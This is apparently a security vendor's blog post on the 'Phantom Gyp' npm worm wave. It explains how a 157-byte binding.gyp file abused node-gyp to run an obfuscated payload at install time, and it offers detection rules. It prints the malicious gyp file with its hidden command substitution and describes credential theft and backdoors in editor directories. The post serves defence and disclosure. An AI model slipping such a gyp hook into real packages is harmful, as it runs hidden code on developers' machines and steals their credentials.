Phantom Gyp and the binding.gyp bypass in the Miasma npm worm
Attackers stopped declaring preinstall scripts and started abusing node-gyp and a 157-byte binding.gyp file instead. The technique slipped past many script-focused checks.
- npm
- supply-chain
- miasma
- binding-gyp
- phantom-gyp
Two days after the Red Hat packages went out, a second wave of the same Miasma family hit the registry. This time the attackers changed the delivery trick.
Instead of (or in addition to) the preinstall and postinstall hooks that defenders and tools had started watching, the malicious tarballs contained a tiny binding.gyp file. When npm saw that file and no prebuilt binary, it invoked node-gyp rebuild during the configure phase. A command substitution inside the gyp file ran a node process that kicked off the real payload.
The file was only 157 bytes. It looked like this in the compromised packages:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}The <!(...) syntax tells gyp to execute the shell command and use its output as a source filename. The command ran the large obfuscated index.js, redirected output to hide noise, and returned a plausible stub so the build step would not obviously fail. No lifecycle scripts appeared in package.json for the usual scanners to flag.
Researchers at StepSecurity named the technique "Phantom Gyp." Snyk tracked the broader incident as the Node-gyp Supply Chain Compromise.
How the payload behaved
The index.js was several megabytes of layered obfuscation (ROT, AES-GCM, custom ciphers). It downloaded a standalone Bun binary at runtime and ran the core logic under that process rather than the Node.js that started the install. That step alone defeated some monitoring scoped only to node child processes during npm install.
Once running it did the familiar Miasma things: credential harvest across clouds and CI systems, GitHub API exfiltration into dead-drop repos, attempts to republish itself into other packages the victim could touch, and injection of backdoors into .claude, .cursor, and .vscode directories for persistence on developer machines.
The wave moved fast. Researchers reported dozens of packages and hundreds of malicious versions published in under two hours, starting with @vapi-ai/server-sdk and then spreading across a maintainer's other work (autotel family, awaitly, ai-sdk-ollama, various eslint plugins, and more).
Why the bypass worked
Most supply chain defenses that run at install time have focused on the well-known preinstall, postinstall, and prepare scripts. Those are easy to declare in package.json and therefore easy to scan for. node-gyp invocation for native addons is a separate, automatic path that many tools did not treat as an execution surface.
The malicious packages also avoided declaring "gypfile": true in some cases, which further reduced obvious signals. The presence of the binding.gyp file alone was enough for npm to hand the package to node-gyp.
This is the same pattern we have seen in other ecosystems: attackers look for the build or install hook that is "normal" for the package manager but that fewer people are explicitly monitoring.
What showed up in lockfiles
Koban inventories javascriptPackages from lockfiles (npm, pnpm, Yarn, Bun). For each resolved package it records the name, version, registry, source URL, whether the package declared install scripts (when visible in the lock metadata), direct vs transitive status, and the path to the lockfile or package entry.
The binding.gyp packages did not set the hasInstallScript flag in the usual way, which is exactly why the technique was effective against script-centric checks. Name-based indicators and version anomalies (some of the worm-republished versions carried obviously inflated semver numbers) became the reliable signals.
Sample fleet rules for this wave
Here are concrete rules you can add to a Fleet bundle or local koban.yaml. They use the same vocabulary the agent already understands.
rules:
# Catch the specific high-signal names from the June waves at suspicious severity.
# The built-in known-malicious-javascript rule already covers @redhat-cloud-services/
# and we expanded defaults with the new names too.
- id: packages.miasma.vapi
surface: javascriptPackages
triggers: [added, modified, present]
match: fieldContainsAny
field: name
values: ["@vapi-ai/server-sdk", "ai-sdk-ollama"]
severity: suspicious
title: Miasma campaign package
rationale: Package name matches a June 2026 Miasma / Phantom Gyp wave indicator.
- id: packages.miasma.autotel-family
surface: javascriptPackages
triggers: [added, modified, present]
match: fieldContainsAny
field: name
values: ["autotel", "awaitly", "eslint-plugin-executable-stories", "node-env-resolver"]
severity: suspicious
title: Miasma campaign package (spread family)
rationale: Package name matches a maintainer family hit during the Miasma worm propagation.
# Broader signal for any package that declares an install hook.
# Useful for the preinstall-using parts of the campaign and for general hygiene.
# Pair with review rather than alert fatigue.
- id: packages.javascript.install-hook
surface: javascriptPackages
triggers: [added, modified, present]
match: flagEquals
flag: hasInstallScript
expected: true
severity: notable
title: JavaScript package declares install script
rationale: The package includes an install, postinstall, or prepare hook. Review the resolved version and lockfile context.Drop these into your org bundle (remember to bump generation) or test them locally in ~/.config/koban/koban.yaml. Restart the agent and either install a test package or wait for the next present evaluation against current inventory.
What this means for detection strategy
Name IOCs remain the highest confidence signal for known campaigns. They work even when the execution trick changes.
Execution surface coverage needs to expand beyond package.json scripts. The agent already exposes the hasInstallScript flag because the collector reads the lockfile metadata. For deeper cases like binding.gyp or extconf.rb abuse, richer file presence or hash signals in the inventory would help, and teams should watch for future agent updates that surface those.
In the meantime, continuous diff on lockfiles catches the symptom (the bad package resolved) on the machine where it landed, which is often the fastest path to "we need to rotate tokens on this laptop right now."
The Miasma family is still active in the broader sense. The same underlying tradecraft keeps getting small improvements. Keeping fresh name lists in the defaults and giving teams easy ways to layer additional rules is how we stay ahead on the endpoint side.
Further reading
- StepSecurity: Miasma npm Supply Chain Attack: Self-Spreading Worm via Phantom Gyp
- Snyk: Node-gyp Supply Chain Compromise
- Unit 42: The npm Threat Landscape: Attack Surface and Mitigations (Updated June 2)
- Wiz: Miasma: Supply Chain Attack Targeting RedHat npm Packages
Next we will cover the exact default rule updates and how to roll them out across a fleet without noise.